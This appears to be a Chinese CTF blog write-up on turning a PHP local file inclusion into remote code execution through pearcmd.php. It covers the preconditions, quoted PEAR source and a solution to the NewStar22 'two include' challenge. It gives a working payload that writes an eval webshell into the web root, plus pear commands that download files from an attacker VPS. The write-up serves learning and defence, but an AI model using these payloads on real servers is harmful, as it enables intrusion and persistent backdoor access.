Pearcmd总结及利用

pearcmd简介

​ pecl是PHP的一个命令行工具,用以管理扩展

​ pear是pecl依赖的类库,在7.3及以前的PHP版本,pecl/pear是默认安装的,而在7.4及之后的版本,则需要我们在编译PHP的时候,指定–with-pear选项,才会给我们安装

​ 但是,在Docker任意版本镜像当中,pcel/pear都会被默认安装,并且安装的路径在/usr/local/lib/php

​ 在php.ini中,register_argc_argv=On 需要被开启

漏洞原理

​ 在peracmd.php中,有一个关键字argv,是用来传递命令行参数的,并且使用了readPHPArgv()这个函数

1
2
3
4
5
6
7
8
9
10
11
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

//这段代码的目的是在PEAR命令行工具中处理命令行参数,确保参数无论在哪个操作系统上都能被正确解析。它还修复了在某些SAPI环境下由于脚本启动方式导致的问题。

Console/Getopt.php的readPHPArgv()函数内部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}


//这个方法的目的是确保无论在什么PHP环境配置下,都能正确地获取到命令行参数。它考虑了不同的PHP版本和配置,尝试从不同的地方获取 argv 数组,以确保兼容性。如果最终无法获取到命令行参数,它将返回一个PEAR错误。

​ 由此,我们知道,既然pear是一个命令行工具,如果参数可控,我们就能控制参数,利用pear工具

​ Pear的命令表如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.


​ 其中,config-create是添加配置文件的命令

​ 这个命令的功能是:传入一个绝对路径,把这个路径拼接到配置文件当中,但是,这个配置文件的路径是我们可以控制的

利用条件

  • 目标安装了pecl/pear
  • 在php.ini配置中,register_argc_argv=On开启
  • 存在文件包含漏洞

​ 在Docker环境下register_argc_argv=On都是默认开启的,且Docker下的任意版本都安装了pear,只需要在Docker环境下构建一个存在文件包含的场景即可

​ Pear的本质是一个命令行工具,pearcmd.php默认安装的路径是**/usr/local/lib/php/pearcmd.php**

在命令行状态下,我们可以使用pear或者**/usr/local/lib/php/pearcmd.php**来执行命令

​ 由于大部分CTF赛题都是Docker环境中搭建的,只要出现了文件包含,就可以考虑用这个漏洞getshell,并且绝大多数情况都能很好地绕过题目的限制

常见利用

低权限写入

​ 有时候web目录没有写入权限,或者是不知道web目录的绝对路径、白名单不允许上传PHP文件

​ 这个时候可以将木马文件写入低权限的**/tmp**目录下,并利用文件包含的特性触发漏洞

漏洞利用拓展

​ 利用pear的特性,可以让目标执行一些命令

远程安装

​ 以安装phpinfo文件为例,在自己的VPS上起一个服务,提供一个外部可以访问的文件

然后利用pear的install命令

1
pear install VPS/phpinfo.php

远程下载

​ 同理

1
pear down http://vps/phpinfo.php

修复手段

​ 将php.ini中的register_argc_argv选项设置为Off

相关的一些题目

NewStar22 week3 two include

题目给的源码如下

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
} Hacker!

image-20240823051012538

题目提示通过LFI来RCE

并且可以看到,对于base64、rot13编码绕过包含限制的手段被限制了

于是可以自然而然想到pearcmd(不然我写这篇来干嘛)

尝试包含pearcmd的默认路径

1
/usr/local/lib/php/pearcmd 	#这里去掉了.php,因为题目已经有了

完整payload如下:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<? eval($_POST['x'])?>+/var/www/html/test.php

image-20240823052506998

​ 按照道理来说是先测试phpinfo的,将phpinfo文件写到/var/www/html,也就是网站的根目录下,然后访问测试文件看看是否有回显

​ 但这里为了省事就直接略过这一步骤了,因为我Repeater里能看到200OK了,嘻嘻

​ 访问test.php,有回显,成功了

image-20240823052707257

上面截图一句话木马多了个分号,有所出入,去掉就完事了

连蚁剑直接拿下

image-20240823053511613

参考

利用 pearcmd 从 LFI 到 getshell (furina.org.cn)

https://y4tacker.github.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/